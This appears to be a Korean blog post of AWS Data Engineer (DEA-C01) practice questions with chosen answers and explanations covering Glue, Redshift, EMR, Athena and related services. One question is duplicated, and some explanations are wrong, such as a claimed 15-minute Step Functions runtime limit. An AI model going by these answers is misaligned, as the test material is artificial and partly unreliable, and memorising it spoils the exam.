=> Drop Duplicates를 사용하면 데이터 원본에서 가져온 중복 행의 지정된 조건에 따라 필드를 제거하거나 일치할 수 있지만, 글루 임시 테이블만 변환됨

 

UNLOAD 작업을 수행하여 기존 데이터를 Amazon S3으로 언로드한다. 그런 다음 2주마다 DELETE 작업을 수행하여 클러스터에서 데이터를 삭제한다. Amazon S3에 새 데이터를 수집한다. Apache Hudi가 설치된 Amazon EMR 클러스터를 생성한다. 2개의 기존 데이터 집합을 기반으로 UPSERT 작업을 사용하여 새 데이터 집합을 만든다. 새 데이터 집합을 Amazon Redshift에 수집한다.

=> 운영 오버헤드

 

54 . 한 회사는 Amazon Redshift를 사용하여 과거 결제 데이터를 저장한다. 데이터는 내부 사용자가 사용할 수 있어야 하지만, 외부 비즈니스 파트너에게 특정 민감한 데이터를 마스킹해야 한다. 민감한 데이터는 전체 열 또는 다른 열의 값을 기반으로 하는 개별 셀일 수 있다. 내부 사용자는 자체 SQL 쿼리를 외부 비즈니스 파트너와 공유한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

특정 열 및 데이터에 대해 Amazon Redshift 동적 데이터 마스킹(DDM) 정책을 생성한다. 외부 비즈니스 파트너의 역할에 마스킹 정책을 연결한다.

=> Amazon Redshift DDM은 쿼리가 수행될 때 데이터를 스크램블. 다른 열의 값을 기반으로 하는 복잡한 마스킹 규칙을 제공

 

* 오답 정리

Amazon Redshift 쿼리 편집기를 사용하여 특정 데이터를 선택, 필터링, 마스킹하고 새 테이블에 복사한다. 기존 테이블에 액세스하여 읽을 수 있는 외부 비즈니스 파트너의 권한을 거부한다.

 

 

Amazon Redshift에서 읽고, 민감한 데이터를 마스킹하고, Amazon Redshift의 새 테이블에 작성하도록 AWS Glue Studio의 작업을 정의한다. 1시간에 한 번 실행되도록 작업을 예약한다. 기존 테이블에 액세스하여 읽을 수 있는 외부 비즈니스 파트너의 권한을 거부한다.

=> SQL 쿼리는 기존 테이블 이름을 사용하므로 이 솔루션은 요구 사항을 충족하지 못 함

 

55 . 한 데이터 엔지니어가 데이터를 수집하고, Amazon EMR로 데이터를 처리하고, Amazon Redshift에 데이터를 저장하는 데이터 파이프라인을 만들었다. 데이터 엔지니어는 데이터 파이프라인을 모니터링해야 한다.

다음 중 이 요구 사항을 가장 효율적인 방법으로 충족하는 솔루션은 무엇인가?

 

더보기

Amazon CloudWatch 경보를 설정하여 데이터 파이프라인의 성능 문제나 실패를 모니터링하고 알림을 받는다.

 

* 오답 정리

Amazon CloudWatch 로그 인사이트를 구현하여 로그를 분석하고 데이터 파이프라인을 모니터링한다.

=> CloudWatch 로그 인사이트는 기본 모니터링 솔루션보다는 로그 데이터를 심층 분석하여 특정 문제를 감지한 후 진단하기 위한 도구

 

56 . AWS에 인프라를 구축하는 스타트업 회사가 있다. 이 회사는 주로 Amazon S3에 데이터를 저장한다. 회사는 Amazon Athena를 사용하여 데이터를 쿼리한다. 최근 회사는 Apache Spark와 기계 학습 라이브러리로 데이터를 처리하기 위해 Amazon EMR을 구현했다.

회사가 성장하고 데이터가 더욱 복잡해짐에 따라 회사는 계속해서 AWS 서비스를 추가로 구현하고 있다. 회사는 Amazon S3 외에도 일부 데이터를 Hadoop 분산 파일 시스템(HDFS)에 저장한다. 회사에는 공통 데이터 카탈로그가 없다. 일부 데이터는 AWS Glue 데이터 카탈로그에 카탈로그화되어 있고, 나머지 데이터는 Apache Hive 메타스토어에 카탈로그화되어 있다. 데이터 엔지니어링 팀은 데이터를 정리하는 솔루션을 설계해야 한다. 데이터 엔지니어링 팀은 솔루션에서 데이터 내구성에 우선 순위를 두어야 한다.

다음 중 최소한의 마이그레이션 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

모든 데이터를 Amazon S3로 이동하여 통합 데이터 원본을 만든다. 데이터 카탈로그를 사용하도록 Amazon EMR을 구성한다. 데이터 카탈로그에 모든 데이터를 등록한다. 계속해서 Athena와 Amazon EMR 도구를 사용하여 데이터를 처리한다.

=> EMR 도구는 EMR 파일 시스템(EMRFS)을 통해 Amazon S3에 저장한 데이터에 직접 액세스할 수 있음. 데이터 카탈로그는 메타데이터 스토어 인프라를 관리할 필요 없이 여러 소스의 메타데이터를 등록 가능

 

* 오답 정리

모든 데이터를 Amazon S3로 이동하여 통합 데이터 원본을 만든다. 데이터 카탈로그를 사용하도록 Amazon EMR을 구성한다. 데이터 카탈로그에 모든 데이터를 등록한다. Athena 쿼리를 Spark SQL로 마이그레이션한다. Amazon EMR 도구를 계속 사용하여 데이터를 처리한다.

=> PrestoSQL과 Athena SQL은 매우 유사하다. 하지만 Spark SQL은 Presto에 기반하지 않는다.

HDFS를 데이터의 단일 소스로 사용하는 솔루션은 Amazon EMR을 사용하는 HDFS가 일시적이기 때문에 모범 사례가 아니다.

 

57 . 온프레미스 Apache Hadoop 클러스터를 사용하여 다양한 배치 처리 작업을 실행하는 회사가 있다. 이 작업은 Apache Spark, Apache Hive, Presto, TensorFlow, Apache MXNet 등 다양한 프레임워크와 언어에서 실행된다. 이 회사에서는 저장되는 데이터의 양이 크게 증가할 것으로 예상하고 있다. 회사는 스토리지를 확장성을 위해 AWS로 마이그레이션하려고 한다. 회사는 데이터의 내구성을 높이고 기존 작업을 재사용하려 한다.

다음 중 이러한 요구 사항을 가장 비용 효율적으로 충족하는 솔루션은 무엇인가?

 

더보기

Amazon EMR로 마이그레이션한다. 모든 데이터를 Amazon S3에 저장한다. 작업을 실행해야 할 때 임시 EMR 클러스터를 시작한다.

=> 배치 작업에 임시 클러스터를 사용하는 것이 모범 사례

 

* 오답 정리

Amazon EMR로 마이그레이션한다. 모든 데이터를 Hadoop 분산 파일 시스템(HDFS)에 저장한다. 더 많은 스토리지가 필요한 경우 클러스터를 확장하여 코어 노드를 추가한다.

=> Amazon EMR의 HDFS는 일시적. 클러스터가 종료되면 활성 데이터를 잃을 수 있음

 

Amazon Redshift로 마이그레이션한다. Amazon Redshift RA3 인스턴스 및 Amazon S3와 Amazon Redshift를 함께 사용하여 스토리지 비용을 최적화한다.

=> 다양한 프레임워크와 언어로 광범위한 배치 처리 작업을 실행하는 데 Amazon Redshift를 사용하지는 않을 것

 

58 . 한 데이터 엔지니어 팀이 방금 고객으로부터 데이터 분석을 시연하기 위한 CSV 파일을 받았다. 팀은 고객에게 데이터를 시각화하는 방법을 보여 주고자 한다. 팀은 파일을 직접 업로드하고 Amazon QuickSight에서 검토한다. 그런데 팀은 데이터가 올바른 형식으로 지정되지 않은 점을 발견했다. 따라서 QuickSight에서 데이터를 시각화할 준비가 되지 않았다.

팀에서 운영 오버헤드를 최소화하면서 이렇게 형식이 잘못 지정된 데이터를 시각화하려면 어떻게 해야 하는가?

 

더보기

QuickSight 기본 함수를 사용하여 데이터를 포맷하고 변환한다. QuickSight를 사용하여 데이터를 시각화한다.

=> QuickSight에는 형식이 잘못 지정된 데이터를 포맷하고 변환하는 기능이 내장되어 있음.

 

59 . Amazon S3 버킷에서 데이터를 읽으려는 AWS Glue 작업이 있다. 하지만 몇 분 후 메모리 부족 오류가 발생하여 AWS Glue 작업이 실패한다.

다음 중 이러한 오류를 해결할 수 있는 솔루션은 무엇인가?

 

더보기

AWS Glue 작업에서 푸시다운 조건자를 정의한다.

=> 푸시다운은 소스에 더 가까운 데이터를 검색하는 데 사용할 수 있는 최적화 기법

 

60 . Amazon RDS PostgreSQL 데이터베이스에 트랜잭션 테이블이 있는 회사가 있다. 판매 트랜잭션은 온종일 트랜잭션 테이블에 추가된다. 데이터 엔지니어는 보고 목적으로 매일 밤 트랜잭션 테이블의 새로운 판매 데이터를 Amazon S3에 로드하는 프로세스를 만들어야 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

RDS PostgreSQL 데이터베이스에 연결하는 AWS Glue 작업을 만든다. 트랜잭션 날짜 필드에 AWS Glue 북마크를 사용하여 RDS PostgreSQL 데이터베이스 테이블에서 새 데이터를 읽고 Amazon S3에 데이터를 쓴다. 매일 밤 실행되도록 작업을 예약한다.

 

* 오답 정리

지속적인 복제(변경 데이터 캡처(CDC))를 위해 AWS Database Migration Service(AWS DMS) 태스크를 구성한다. RDS PostgreSQL 데이터베이스 테이블을 소스로 선택하고 Amazon S3를 대상으로 선택한다.

=> 운영 오버헤드 증가. 매일 밤 데이터를 로드한다는 요구 사항은 솔루션이 예약된 데이터 로드를 사용해야 하며 지속적인 복제나 실시간에 가까운 수집이 필요하지 않음을 의미

 

전체 로드를 위한 AWS Database Migration Service(AWS DMS) 태스크를 구성한다. RDS PostgreSQL 데이터베이스 테이블을 소스로 선택하고 Amazon S3를 대상으로 선택한다. Amazon EventBridge를 사용하여 이 작업이 매일 밤 실행되도록 예약한다.

=> 태스크가 전체 로드에 대해 구성된 경우 매일 밤 새 데이터뿐만 아니라 전체 테이블 데이터를 받게 됨

 

Amazon RDS StartExportTask API 작업을 사용하여 데이터베이스 테이블의 RDS PostgreSQL 스냅샷을 S3 버킷으로 내보내는 AWS Lambda 함수를 만든다. Amazon EventBridge를 사용하여 매일 밤 Lambda 함수가 실행되도록 예약한다.

=> 이 API 작업은 전체 테이블을 S3 버킷으로 내보냄

 

61 . 많은 조인 및 윈도우 함수가 포함된 쿼리에 대해 Amazon Athena에서 쿼리 성능을 최적화해야 하는 데이터 엔지니어가 있다. 이 쿼리는 지난 3년 동안의 데이터가 포함된 Parquet 형식의 Amazon S3에서 2TB의 데이터를 스캔한다. 그러나 SQL 로직은 최근 3개월 데이터만 분석하도록 구축되었다.

다음 중 쿼리를 최적화하는 데 도움이 되는 단계의 조합은 무엇인가? (2개 선택.)

 

더보기

데이터를 연, 월, 일별로 파티셔닝한다.

=> 쿼리 엔진이 파티셔닝된 열을 기준으로 필터링하는 쿼리에 대해 더 적은 데이터를 스캔

 

압축 파일 형식을 사용한다.

 

참고로, 파일 형식을 CSV로 변경하면 데이터가 행 기반 파일 형식으로 저장됨

 

62 . 한 보험 회사가 Amazon S3에서 대량의 고객 데이터 세트를 수집했다. 이 회사는 AWS 서비스를 사용하여 분석을 실행하고자 한다. 회사는 분석을 실행하기 전에 고객 데이터 세트의 모든 정보가 완전하고 빈 필드가 포함되지 않도록 하는 솔루션을 구축해야 한다.

데이터 엔지니어가 최소한의 운영 오버헤드로 데이터 완전성을 보장하는 솔루션을 구축하려면 어떻게 해야 하는가?

 

더보기

AWS Glue 크롤러를 만들고 실행하여 Amazon S3에서 수집된 데이터의 스키마를 유추한다. 빈 필드가 있는 레코드를 필터링하여 데이터를 변환하고 정리하는 AWS Glue 작업을 구현한다. 작업 출력을 Amazon S3에 저장한다.

 

* 오답 정리

Amazon EMR Serverless에 Apache Spark 작업을 제출한다. 데이터를 변환하여 빈 필드가 있는 레코드를 필터링한다. 정리된 데이터를 Amazon S3에 저장한다.

=> 데이터 수집 및 변환 프로세스를 작성해야 함. Glue 내장 변환 기능이 더 효율적

 

AWS Glue 데이터 카탈로그의 데이터를 실행하고 카탈로그화하도록 AWS Glue 크롤러를 구성한다. Amazon Athena로 카탈로그에 생성된 테이블을 쿼리하여 집계함으로써 빈 필드가 있는 레코드를 식별 및 필터링한다. 정리된 데이터로 새 테이블을 생성한다. AWS Glue 크롤러를 만들고 실행하여 Amazon S3에서 수집된 데이터의 스키마를 유추한다.

=> 여러 쿼리를 수동으로 실행하여 먼저 빈 열이 있는 레코드를 식별한 다음, 해당 레코드를 필터링하는 새 데이터 집합을 만드는 쿼리가 필요

 

AWS Lambda 함수를 사용하여 빈 필드가 포함된 데이터 레코드를 분석 및 식별한다. Lambda 함수를 호출하여 Amazon S3의 데이터 집합에서 빈 필드가 포함된 레코드를 처리하고 제거한다.

=> 코드베이스 유지 관리. Lambda 함수 호출에 대한 추가 오류 처리, 로깅, 모니터링을 통해 함수가 예상대로 작동하는지 확인 필요

 

63 . 한 회사는 이전에 VPC의 리소스에 연결하도록 AWS Glue DataBrew를 구성했다. 회사는 새 데이터 엔지니어링 팀이 관리할 새 AWS 계정으로 DataBrew 사용량을 재배치하기로 결정했다. 현재 계정의 모든 DataBrew 사용량은 폐기된다. 이 프로세스의 일환으로 데이터 엔지니어는 DataBrew 연결이 허용된 VPC와 연결되어 있는 기존 AWS 보안 그룹을 삭제해야 한다.

다음 중 어떤 단계를 조합해야 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

 

더보기

모든 VPC 리소스에서 보안 그룹을 분리한다.

=> 보안 그룹을 삭제하기 전에 VPC의 인스턴스 또는 기타 리소스와 연결된 상태에서 보안 그룹을 분리해야 삭제 가능

 

VPC에서 보안 그룹이 포함된 모든 보안 그룹 규칙을 삭제한다.

=> VPC의 보안 그룹에 있는 규칙에서 보안 그룹을 참조하는 경우, 보안 그룹을 삭제하기 전에 먼저 규칙을 제거할 필요 있음

 

64 . 한 데이터 엔지니어는 회사에서 비용을 개선하고 기술적 부채를 줄이기 위해 ETL(추출, 변환 및 로드) 파이프라인을 검토해야 한다. 현재 프로세스에는 AWS Lambda 함수를 호출하는 Amazon EventBridge 규칙이 포함되어 있다. Lambda 함수는 ETL 프로세스의 모든 단계를 수행한다.

데이터 엔지니어는 Lambda 함수를 검토한다. 데이터 엔지니어는 함수가 먼저 여러 공급업체에 3번의 API 호출을 수행한다는 사실을 발견한다. 각 API 호출은 약 1초가 소요되며 각 공급업체의 응답을 기다린다. 공급업체 응답이 결합된다. 그런 다음 Lambda는 2개의 개별 Amazon DynamoDB 테이블에 연결한다. Lambda는 공급업체 응답에 따라 각 테이블에서 단일 UPDATE 명령을 수행한다.

다음 중 이러한 요구 사항을 가장 비용 효율적으로 충족하는 솔루션은 무엇인가?

 

더보기

회사는 지원 서비스를 사용하여 AWS Step Functions 상태 머신으로 프로세스를 재설계해야 한다.

 

* 오답 정리

회사는 Lambda 함수를 공급업체 API별로 하나씩 총 3개의 개별 Lambda 함수로 분할해야 한다.

=> 각각 하나의 API 호출을 호출하는 Lambda 함수 3개는 3개의 API 호출을 호출하는 하나의 Lambda 함수와 런타임이 비슷. Lambda 함수를 3개로 분할하는 솔루션은 런타임을 늘리고 더 많은 Lambda 호출을 초기화하여 솔루션의 전체 비용을 증가

(람다 함수를 분리하면 콜드스타트의 비용까지 생각해야 함)

 

회사는 지원 서비스를 사용하여 Amazon Simple Workflow Service(SWF) 워크플로로 프로세스를 재설계해야 한다.

=> Amazon SWF는 분산된 애플리케이션 구성 요소 간에 작업을 조정할 수 있는 기능을 제공하는 웹 서비스

 

65 . 한 데이터 엔지니어는 하루에 한 번 온프레미스 SQL Server 데이터베이스의 데이터가 Amazon S3 버킷에 수집, 변환 및 로드되도록 데이터 파이프라인을 구축해야 한다. 데이터 엔지니어는 데이터 품질 검사를 수행해야 하며 데이터가 날짜별로 파티션되었는지 확인해야 한다. 하루의 데이터 볼륨에 따라 ETL(추출, 변환, 로드) 프로세스에는 몇 시간이 걸릴 수 있다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Glue를 사용하여 SQL Server 데이터베이스에서 데이터를 추출하고, Apache Spark를 사용해 데이터를 변환하며, Amazon S3에 데이터를 로드한다. AWS Glue를 사용하여 데이터 품질 검사를 수행하고 날짜별로 데이터를 파티션한다. JDBC 드라이버를 사용하여 SQL Server에 연결한다.

=> AWS Glue는 여러 데이터베이스 엔진에 JDBC 연결을 지원

 

* 오답 정리

AWS Step Functions를 사용하여 서버리스 워크플로를 오케스트레이션한다. 워크플로를 통해 SQL Server에서 데이터를 추출해야 한다. 그런 다음 워크플로에서 AWS Lambda 함수를 사용하여 데이터를 변환해야 한다. 마지막으로 워크플로를 사용해 Amazon S3에 데이터를 로드해야 한다. Step Functions를 사용하여 데이터 품질 검사를 수행하고 날짜별로 데이터를 파티션한다.

=> Step Functions의 최대 런타임은 15분

 

AWS Batch를 사용하여 Amazon EC2 인스턴스 플릿에서 ETL 작업을 실행하고, 데이터 품질 검사를 수행하고, 날짜별로 데이터를 파티션한다.

=> 다른 서비스에 비해 AWS Batch는 컴퓨팅 환경을 수동으로 생성해야 하므로 더 많은 설정과 구성이 필요

 

반응형

'인프라 > AWS' 카테고리의 다른 글

AWS DEA-C01  (0) 2025.01.27
AWS SCS-02  (0) 2025.01.27
AWS EBS & EFS  (0) 2024.09.03
AWS S3 정리  (6) 2024.09.01
AWS Step Functions  (0) 2024.08.20
반응형

37 . 

데이터 엔지니어는 AWS로 실시간 스트리밍 데이터를 수집하는 것을 관리해야 합니다. 데이터 엔지니어는 최대 30분 동안 시간 기반 집계를 사용하여 들어오는 스트리밍 데이터에 대한 실시간 분석을 수행하려고 합니다. 데이터 엔지니어는 매우 내결함성이 뛰어난 솔루션이 필요합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. 비즈니스 로직과 분석 로직을 모두 포함하는 AWS Lambda 함수를 사용하여 Amazon Kinesis Data Streams의 데이터에 대해 최대 30분 동안 시간 기반 집계를 수행합니다.
  • B. Amazon Managed Service for Apache Flink(이전 명칭: Amazon Kinesis Data Analytics)를 사용하여 여러 유형의 집계를 사용하여 가끔 중복이 포함될 수 있는 데이터를 분석합니다.
  • C. 이벤트 타임스탬프를 기준으로 최대 30분의 텀블링 윈도우에 대한 집계를 수행하기 위해 비즈니스 및 분석 로직을 모두 포함하는 AWS Lambda 함수를 사용합니다.
  • D. Amazon Managed Service for Apache Flink(이전 명칭: Amazon Kinesis Data Analytics)를 사용하여 여러 유형의 집계를 사용하여 최대 30분에 걸친 시간 기반 분석을 수행하여 데이터를 분석합니다.

정답 : D


38 .

한 회사가 Amazon Elastic Block Store(Amazon EBS) General Purpose SSD 스토리지를 gp2에서 gp3로 업그레이드할 계획입니다. 이 회사는 업그레이드된 스토리지로 마이그레이션하는 동안 데이터 손실을 일으킬 Amazon EC2 인스턴스의 중단을 방지하고자 합니다.
어떤 솔루션이 가장 적은 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. gp2 볼륨의 스냅샷을 만듭니다. 스냅샷에서 새 gp3 볼륨을 만듭니다. 새 gp3 볼륨을 EC2 인스턴스에 연결합니다.
  • B. 새로운 gp3 볼륨을 만듭니다. 데이터를 새로운 gp3 볼륨으로 점진적으로 전송합니다. 전송이 완료되면 새로운 gp3 볼륨을 EC2 인스턴스에 마운트하여 gp2 볼륨을 대체합니다.
  • C. 기존 gp2 볼륨의 볼륨 유형을 gp3로 변경합니다. 볼륨 크기, IOPS 및 처리량에 대한 새 값을 입력합니다.
  • D. AWS DataSync를 사용하여 새 gp3 볼륨을 만듭니다. 원래 gp2 볼륨에서 새 gp3 볼륨으로 데이터를 전송합니다.

정답 : C


39 .

한 회사가 Microsoft SQL Server를 실행하는 Amazon EC2 인스턴스에서 Microsoft SQL Server DB 인스턴스용 Amazon RDS로 데이터베이스 서버를 마이그레이션하고 있습니다. 회사의 분석 팀은 마이그레이션이 완료될 때까지 매일 대용량 데이터 요소를 내보내야 합니다. 데이터 요소는 여러 테이블에 걸친 SQL 조인의 결과입니다. 데이터는 Apache Parquet 형식이어야 합니다. 분석 팀은 Amazon S3에 데이터를 저장해야 합니다.
어떤 솔루션이 가장 운영 효율적인 방식으로 이러한 요구 사항을 충족할까요?

  • A. 필요한 데이터 요소가 포함된 EC2 인스턴스 기반 SQL Server 데이터베이스에 뷰를 만듭니다. 뷰에서 직접 데이터를 선택하고 Parquet 형식으로 S3 버킷으로 데이터를 전송하는 AWS Glue 작업을 만듭니다. AWS Glue 작업을 매일 실행하도록 예약합니다.
  • B. SQL Server Agent를 예약하여 EC2 인스턴스 기반 SQL Server 데이터베이스에서 원하는 데이터 요소를 선택하는 일일 SQL 쿼리를 실행합니다. 출력 .csv 객체를 S3 버킷으로 보내도록 쿼리를 구성합니다. 출력 형식을 .csv에서 Parquet으로 변환하는 AWS Lambda 함수를 호출하는 S3 이벤트를 만듭니다.
  • C. SQL 쿼리를 사용하여 필요한 데이터 요소가 포함된 EC2 인스턴스 기반 SQL Server 데이터베이스에 뷰를 만듭니다. AWS Glue 크롤러를 만들고 실행하여 뷰를 읽습니다. 데이터를 검색하여 Parquet 형식으로 S3 버킷으로 전송하는 AWS Glue 작업을 만듭니다. AWS Glue 작업을 매일 실행하도록 예약합니다.
  • D. Java Database Connectivity(JDBC)를 사용하여 EC2 인스턴스 기반 데이터베이스를 쿼리하는 AWS Lambda 함수를 만듭니다. Lambda 함수를 구성하여 필요한 데이터를 검색하고, 데이터를 Parquet 형식으로 변환하고, 데이터를 S3 버킷으로 전송합니다. Amazon EventBridge를 사용하여 Lambda 함수가 매일 실행되도록 예약합니다.

정답 : C


40 .

데이터 엔지니어링 팀은 운영 보고를 위해 Amazon Redshift 데이터 웨어하우스를 사용하고 있습니다. 이 팀은 장기 실행 쿼리로 인해 발생할 수 있는 성능 문제를 방지하고자 합니다. 데이터 엔지니어는 쿼리 최적화 프로그램이 성능 문제를 나타낼 수 있는 조건을 식별할 때 Amazon Redshift에서 시스템 테이블을 선택하여 이상을 기록해야 합니다.
이 요구 사항을 충족하기 위해 데이터 엔지니어는 어떤 테이블 뷰를 사용해야 합니까?

  • A. STL_USAGE_CONTROL
  • B. STL_ALERT_EVENT_LOG
  • C. STL_QUERY_METRICS
  • D. STL_PLAN_INFO

정답 : B


41 .

데이터 엔지니어는 .csv 형식의 구조화된 데이터 소스를 Amazon S3 데이터 레이크로 수집해야 합니다. .csv 파일에는 15개의 열이 있습니다. 데이터 분석가는 데이터 세트의 1~2개 열에 Amazon Athena 쿼리를 실행해야 합니다. 데이터 분석가는 전체 파일을 쿼리하는 경우가 드뭅니다. 어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적으로 충족할까요?

  • A. AWS Glue PySpark 작업을 사용하여 소스 데이터를 .csv 형식으로 데이터 레이크로 수집합니다.
  • B. .csv 구조화된 데이터 소스에서 읽기 위한 AWS Glue 추출, 변환 및 로드(ETL) 작업을 만듭니다. JSON 형식으로 데이터를 데이터 레이크로 수집하도록 작업을 구성합니다.
  • C. AWS Glue PySpark 작업을 사용하여 소스 데이터를 Apache Avro 형식으로 데이터 레이크로 수집합니다.
  • D. .csv 구조화된 데이터 소스에서 읽기 위한 AWS Glue 추출, 변환 및 로드(ETL) 작업을 만듭니다. Apache Parquet 형식으로 데이터 레이크에 데이터를 쓰도록 작업을 구성합니다.

정답 : D


42 .

한 회사에는 서로 다른 AWS 지역에 5개의 사무실이 있습니다. 각 사무실에는 고유한 IAM 역할을 사용하는 자체 인사(HR) 부서가 있습니다. 이 회사는 Amazon S3 스토리지를 기반으로 하는 데이터 레이크에 직원 기록을 저장합니다.
데이터 엔지니어링 팀은 기록에 대한 액세스를 제한해야 합니다. 각 HR 부서는 HR 부서의 지역 내에 있는 직원의 기록에만 액세스할 수 있어야 합니다.
데이터 엔지니어링 팀은 최소한의 운영 오버헤드로 이 요구 사항을 충족하기 위해 어떤 단계 조합을 취해야 합니까? (두 가지를 선택하세요.)

  • A. 각 지역에 대한 데이터 필터를 사용하여 S3 경로를 데이터 위치로 등록합니다.
  • B. S3 경로를 AWS Lake Formation 위치로 등록합니다.
  • C. HR 부서의 IAM 역할을 수정하여 각 부서의 지역에 대한 데이터 필터를 추가합니다.
  • D. AWS Lake Formation에서 세분화된 액세스 제어를 활성화합니다. 각 Region에 대한 데이터 필터를 추가합니다.
  • E. 각 지역에 대해 별도의 S3 버킷을 만듭니다. S3 액세스를 허용하도록 IAM 정책을 구성합니다. 지역에 따라 액세스를 제한합니다.

43 . 한 회사에는 서로 다른 AWS 지역에 5개의 사무실이 있습니다. 각 사무실에는 고유한 IAM 역할을 사용하는 자체 인사(HR) 부서가 있습니다. 이 회사는 Amazon S3 스토리지를 기반으로 하는 데이터 레이크에 직원 기록을 저장합니다.
데이터 엔지니어링 팀은 기록에 대한 액세스를 제한해야 합니다. 각 HR 부서는 HR 부서의 지역 내에 있는 직원의 기록에만 액세스할 수 있어야 합니다.
데이터 엔지니어링 팀은 최소한의 운영 오버헤드로 이 요구 사항을 충족하기 위해 어떤 단계 조합을 취해야 합니까? (두 가지를 선택하세요.)

  • A. 각 지역에 대한 데이터 필터를 사용하여 S3 경로를 데이터 위치로 등록합니다.
  • B. S3 경로를 AWS Lake Formation 위치로 등록합니다.
  • C. HR 부서의 IAM 역할을 수정하여 각 부서의 지역에 대한 데이터 필터를 추가합니다.
  • D. AWS Lake Formation에서 세분화된 액세스 제어를 활성화합니다. 각 Region에 대한 데이터 필터를 추가합니다.
  • E. 각 지역에 대해 별도의 S3 버킷을 만듭니다. S3 액세스를 허용하도록 IAM 정책을 구성합니다. 지역에 따라 액세스를 제한합니다.

정답 : BD


44 .

한 회사가 Amazon EC2 인스턴스에서 실행되는 애플리케이션을 개발하고 있습니다. 현재 애플리케이션에서 생성하는 데이터는 일시적입니다. 그러나 회사는 EC2 인스턴스가 종료되더라도 데이터를 유지해야 합니다.
데이터 엔지니어는 Amazon Machine Image(AMI)에서 새 EC2 인스턴스를 시작하고 데이터를 보존하도록 인스턴스를 구성해야 합니다.
어떤 솔루션이 이 요구 사항을 충족할까요?

  • A. 애플리케이션 데이터를 포함하는 EC2 인스턴스 스토어 볼륨으로 백업된 AMI를 사용하여 새 EC2 인스턴스를 시작합니다. EC2 인스턴스에 기본 설정을 적용합니다.
  • B. 애플리케이션 데이터가 포함된 루트 Amazon Elastic Block Store(Amazon EBS) 볼륨으로 백업된 AMI를 사용하여 새 EC2 인스턴스를 시작합니다. EC2 인스턴스에 기본 설정을 적용합니다.
  • C. EC2 인스턴스 스토어 볼륨으로 백업된 AMI를 사용하여 새 EC2 인스턴스를 시작합니다. 애플리케이션 데이터를 포함하기 위해 Amazon Elastic Block Store(Amazon EBS) 볼륨을 연결합니다. EC2 인스턴스에 기본 설정을 적용합니다.
  • D. Amazon Elastic Block Store(Amazon EBS) 볼륨으로 백업된 AMI를 사용하여 새 EC2 인스턴스를 시작합니다. 애플리케이션 데이터를 포함하기 위해 추가 EC2 인스턴스 스토어 볼륨을 연결합니다. EC2 인스턴스에 기본 설정을 적용합니다.

정답 : C


45 .

한 회사는 Amazon Athena를 사용하여 Create Table As Select(CTAS)를 사용하여 추출, 변환 및 로드(ETL) 작업에 대한 SQL 쿼리를 실행합니다. 이 회사는 분석을 생성하기 위해 SQL 대신 Apache Spark를 사용해야 합니다.
어떤 솔루션이 이 회사에 Spark를 사용하여 Athena에 액세스할 수 있는 기능을 제공할까요?

  • A. Athena 쿼리 설정
  • B. Athena 작업 그룹
  • C. Athena 데이터 소스
  • D. Athena 쿼리 편집기

정답 : B


46 . 

회사에서 데이터 레이크에 사용하는 Amazon S3 스토리지를 분할해야 합니다. 분할은 다음 형식의 S3 객체 키 경로를 사용합니다. s3://bucket/prefix/year=2023/month=01/day=01. 데이터 엔지니어는 회사에서 버킷에 새 파티션을 추가할 때 AWS Glue Data Catalog가 S3 스토리지와 동기화되도록 해야 합니다. 어떤 솔루션이 가장 낮은 지연 시간으로 이러한 요구 사항을 충족할까요?

  • A. AWS Glue 크롤러를 매일 아침 실행하도록 예약합니다.
  • B. AWS Glue CreatePartition API를 매일 두 번 수동으로 실행합니다.
  • C. Amazon S3에 데이터를 쓰는 코드를 사용하여 Boto3 AWS Glue create_partition API 호출을 실행합니다.
  • D. AWS Glue 콘솔에서 MSCK REPAIR TABLE 명령을 실행합니다.

정답 : C


47 .

미디어 회사는 타사 도구를 사용하여 데이터를 수집하기 위해 SaaS(Software as a Service) 애플리케이션을 사용합니다. 이 회사는 Amazon S3 버킷에 데이터를 저장해야 합니다. 이 회사는 Amazon Redshift를 사용하여 데이터를 기반으로 분석을 수행합니다.
어떤 AWS 서비스 또는 기능이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. Apache Kafka를 위한 Amazon Managed Streaming(Amazon MSK)
  • B. 아마존 앱플로우
  • C. AWS Glue 데이터 카탈로그
  • D. 아마존 키네시스

정답 : B


48 .

데이터 엔지니어가 Amazon Athena를 사용하여 Amazon S3에 있는 판매 데이터를 분석하고 있습니다. 데이터 엔지니어는 sales_data라는 테이블에서 여러 제품의 2023년 판매 금액을 검색하는 쿼리를 작성합니다. 그러나 이 쿼리는 sales_data 테이블에 있는 모든 제품에 대한 결과를 반환하지 않습니다. 데이터 엔지니어는 문제를 해결하기 위해 쿼리의 문제를 해결해야 합니다.
데이터 엔지니어의 원래 쿼리는 다음과 같습니다.

 

SELECT product_name, sum(sales_amount)
FROM sales_data
WHERE year = 2023
GROUP BY product_name


데이터 엔지니어는 이러한 요구 사항을 충족하기 위해 Athena 쿼리를 어떻게 수정해야 합니까?

  • A. 집계를 위해 sum(sales_amount)을 count(*)로 바꾸세요.
  • B. WHERE year = 2023을 WHERE extract(year FROM sales_data) = 2023으로 변경합니다.
  • C. GROUP BY 절 뒤에 HAVING sum(sales_amount) > 0을 추가합니다.
  • D. GROUP BY 절을 제거합니다.

정답 : B

C 는 sales_amount 가 0 인 항목들은 표시하지 않으므로 요구사항을 반영하지 못 함. 아마도 year 이 날짜로 저장되어 있을 가능성이 있어 extract 로 year 만 추출할 필요가 있음


49 .

데이터 엔지니어는 Amazon S3 버킷에 있는 Apache Parquet 형식의 객체에서 데이터를 읽는 일회성 작업을 합니다. 데이터 엔지니어는 데이터의 한 열만 쿼리하면 됩니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. AWS Lambda 함수를 구성하여 S3 버킷에서 pandas 데이터프레임으로 데이터를 로드합니다. 데이터프레임에 SQL SELECT 문을 작성하여 필요한 열을 쿼리합니다.
  • B. S3 Select를 사용하여 SQL SELECT 문을 작성하여 S3 객체에서 필요한 열을 검색합니다.
